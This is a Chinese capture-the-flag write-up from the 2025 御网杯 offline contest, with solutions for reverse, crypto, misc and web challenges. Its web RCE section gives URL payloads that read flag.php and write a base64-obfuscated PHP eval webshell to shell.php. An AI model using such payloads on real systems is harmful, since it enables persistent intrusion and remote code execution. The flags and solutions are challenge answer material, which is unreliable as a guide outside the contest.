御网杯线下2025
zach0ry

re_c

image-20250714215154464

image-20250714215137704

FLAG:flag{HNCTFmng1}

re_python

image-20250714215539018

得到

image-20250714215708927

image-20250714215645961

脚本

1
2
3
4
5
6
7
8
9
10
c = [144, 163, 158, 177, 121, 39, 58, 58, 91, 111, 25, 158, 72, 53, 152, 
78, 171, 12, 53, 105, 45, 12, 12, 53, 12, 171, 111, 91, 53,
152, 105, 45, 152, 144, 39, 171, 45, 91, 78, 45, 158, 8]
flag=""
for i in range(42):
for j in range (128):
if j * 33 % 179 == c[i]:
flag+=chr(j)
print(flag)
#flag{2889e7a3-0d6b-4cbb-b6e9-04c0f26c9dca}

再替换一下

image-20250714220218010

crypto1

PixPin_2025-07-14_21-50-12

放到随波逐流里面能看到Rot13解码之后是明显的16进制编码形式

PixPin_2025-07-15_09-48-42

PixPin_2025-07-15_09-48-56

经过16进制转字符后特征很明显,最后Base32->Base64->Ascii85混合解码得到flag。PixPin_2025-07-15_09-49-13

Crypto_10

看到题目描述重排时序 62星序猜测倒序和Base62。

PixPin_2025-07-15_09-54-38

倒序:

PixPin_2025-07-15_09-59-44

Base62解码:

PixPin_2025-07-15_10-00-08

crypto解压这个文件夹

打开下载的附件,有一个压缩包和一张图片。直接解压文件夹需要密码,图片也不能直接打开。

PixPin_2025-07-15_10-04-44

PixPin_2025-07-15_10-05-44

图片用010打开发现文件头是错的修改一下,得到解压密码。

PixPin_2025-07-15_10-06-22

压缩包解压得到flag.jpg直接放随波逐流里然后base64解码。

PixPin_2025-07-15_10-09-06

PixPin_2025-07-15_10-09-42

得到ctf_you_passed包裹flag{}就是最后的flag。

crypto encryption2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from secret import init1,init2,init3,FLAG
import hashlib
assert(FLAG=="flag{"+hashlib.sha256(init1+init2+init3).hexdigest()+"}")

classlfsr():
    def__init__(self, init, mask, length):
        self.init = init
        self.mask = mask
        self.lengthmask = 2**(length+1)-1

    defnext(self):
        nextdata = (self.init << 1) & self.lengthmask 
        i = self.init & self.mask & self.lengthmask 
        output = 0
        while i != 0:
            output ^= (i & 1)
            i = i >> 1
        nextdata ^= output
        self.init = nextdata
        return output

defcombine(x1,x2,x3):
    return (x1*x2)^(x2*x3)^(x1*x3)

if __name__=="__main__":
    l1 = lfsr(int.from_bytes(init1,"big"),0b100000000000000000000000010000000000000000000000,48)
    l2 = lfsr(int.from_bytes(init2,"big"),0b100000000000000000000000000000000010000000000000,48)
    l3 = lfsr(int.from_bytes(init3,"big"),0b100000100000000000000000000000000000000000000000,48)

    withopen("keystream","wb") as f:
        for i inrange(8192):
            b = 0
            for j inrange(8):
                b = (b<<1)+combine(l1.next(),l2.next(),l3.next())
            f.write(chr(b).encode())

Misc1

题目附件是一个加密的压缩包,直接爆破。

PixPin_2025-07-15_10-35-03

打开文档全选复制

PixPin_2025-07-15_10-35-37

粘贴一下就能看到flag

PixPin_2025-07-15_10-36-31

Misc2 键盘流量

PixPin_2025-07-15_10-52-05

Misc3 数据包分析

附件里的.exe是压缩包,修改后缀解压。

PixPin_2025-07-15_10-54-46

找到流量包全局搜索flag以及flag其他编码形式。

PixPin_2025-07-15_10-59-31

16进制解码

PixPin_2025-07-15_11-01-02

Misc4工业流量分析

PixPin_2025-07-15_11-44-25

PixPin_2025-07-15_11-44-52

按照时间排序,最先STOP的包。

1
flag{ac6417423bb3000c}

web rce

方法一(打印编码的flag)
1
ip/?cmd=print(base64_encode(file_get_contents(base64_decode("ZmxhZy5waHA="))));
方法二(写入webshell)

直接写入一个webshell

1
2
3
4
file_put_contents(
base64_decode("c2hlbGwucGhw"), // "shell.php"
base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW3hdKTs/Pg==") // "<?php @eval(\$_POST[x]); ?>"
);

进行编码后为:

1
ip/?cmd=file_put_contents(base64_decode("c2hlbGwucGhw"),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW3hd

web 二次编码

直接访问/flag.php就可以得到flag.php

web sql

直接用sqlmap。